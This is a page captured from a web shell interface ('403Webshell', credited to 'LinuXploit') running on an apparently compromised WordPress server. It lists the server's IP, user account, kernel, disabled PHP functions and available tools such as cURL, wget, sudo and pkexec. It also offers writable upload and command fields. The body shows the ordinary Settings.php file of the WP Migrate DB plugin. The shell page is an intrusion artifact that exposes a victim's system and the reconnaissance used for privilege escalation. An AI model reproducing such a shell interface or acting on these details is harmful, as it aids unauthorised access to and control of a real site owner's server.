403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/muralimurth/public_html/wp-content/plugins/wp-migrate-db/class/Common/Settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/muralimurth/public_html/wp-content/plugins/wp-migrate-db/class/Common/Settings/Settings.php
<?php

namespace DeliciousBrains\WPMDB\Common\Settings;

use DeliciousBrains\WPMDB\Common\Filesystem\Filesystem;
use DeliciousBrains\WPMDB\Common\Helpers;
use DeliciousBrains\WPMDB\Common\Util\Util;

class Settings
{

    /**
     * @var Util
     */
    public $util;
    /**
     * @var
     */
    private $settings;
    /**
     * @var
     */
    private static $static_settings;
    // The constructor is private
    // to prevent initiation with outer code.
    /**
     * @var Filesystem
     */
    private $filesystem;

    public function __construct(Util $util, Filesystem $filesystem)
    {
        $this->util = $util;

        // @TODO this shouldn't be fired every time the Settings class is called...
        $this->load_settings();
        $this->filesystem = $filesystem;
    }

    static function get_setting($setting)
    {
        if (isset(self::$static_settings[$setting])) {
            return self::$static_settings[$setting];
        }

        throw new \InvalidArgumentException(__('Setting does not exist', 'wp-migrate-db'));
    }

    public function get_settings_for_frontend()
    {
        // Always get fresh settings for the frontend.
        $this->load_settings();
        $existing_settings = $this->settings;

        if (!empty($existing_settings['licence'])) {
            $masked_licence                      = $this->util->mask_licence($existing_settings['licence']);
            $existing_settings['masked_licence'] = $masked_licence;
        }

        $existing_settings['plugins']         = $this->filesystem->get_local_plugins();

        return $existing_settings;
    }

    public function get_settings()
    {
        // Assumes load_settings() has been called in base plugin (WPMigrateDB)
        return $this->settings;
    }

    public function load_settings()
    {
        $update_settings = false;
        $this->settings  = get_site_option('wpmdb_settings');

        $default_settings = array(
            'key'                        => $this->util->generate_key(),
            'allow_pull'                 => false,
            'allow_push'                 => false,
            'profiles'                   => array(),
            'licence'                    => '',
            'verify_ssl'                 => false,
            'whitelist_plugins'          => array(),
            'max_request'                => min(1024 * 1024, $this->util->get_bottleneck('max')),
            'delay_between_requests'     => 0,
            'prog_tables_hidden'         => true,
            'pause_before_finalize'      => false,
            'allow_tracking'             => null,
            'high_performance_transfers' => false
        );

        // if we still don't have settings exist this must be a fresh install, set up some default settings
        if (false === $this->settings) {
            $this->settings  = $default_settings;
            $update_settings = true;
        } else {
            /*
             * When new settings are added an existing customer's db won't have the new settings.
             * They're added here to circumvent array index errors in debug mode.
             */
            foreach ($default_settings as $key => $value) {
                if (!isset($this->settings [$key])) {
                    $this->settings[$key] = $value;
                    $update_settings      = true;
                }
            }
        }

        $is_compat_mode = $this->util->is_muplugin_installed();

        if (!isset($this->settings['compatibility_mode']) || $is_compat_mode !== $this->settings['compatibility_mode']) {
            //override compatibility mode
            $this->settings['compatibility_mode'] = $is_compat_mode;
            $update_settings                      = true;
        }


        if ($update_settings) {
            update_site_option('wpmdb_settings', $this->settings);
        }

        $user_licence = Helpers::get_user_licence_key();
        if ( $user_licence ) {
            $this->settings['licence'] = $user_licence;
        }

        self::$static_settings = $this->settings;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit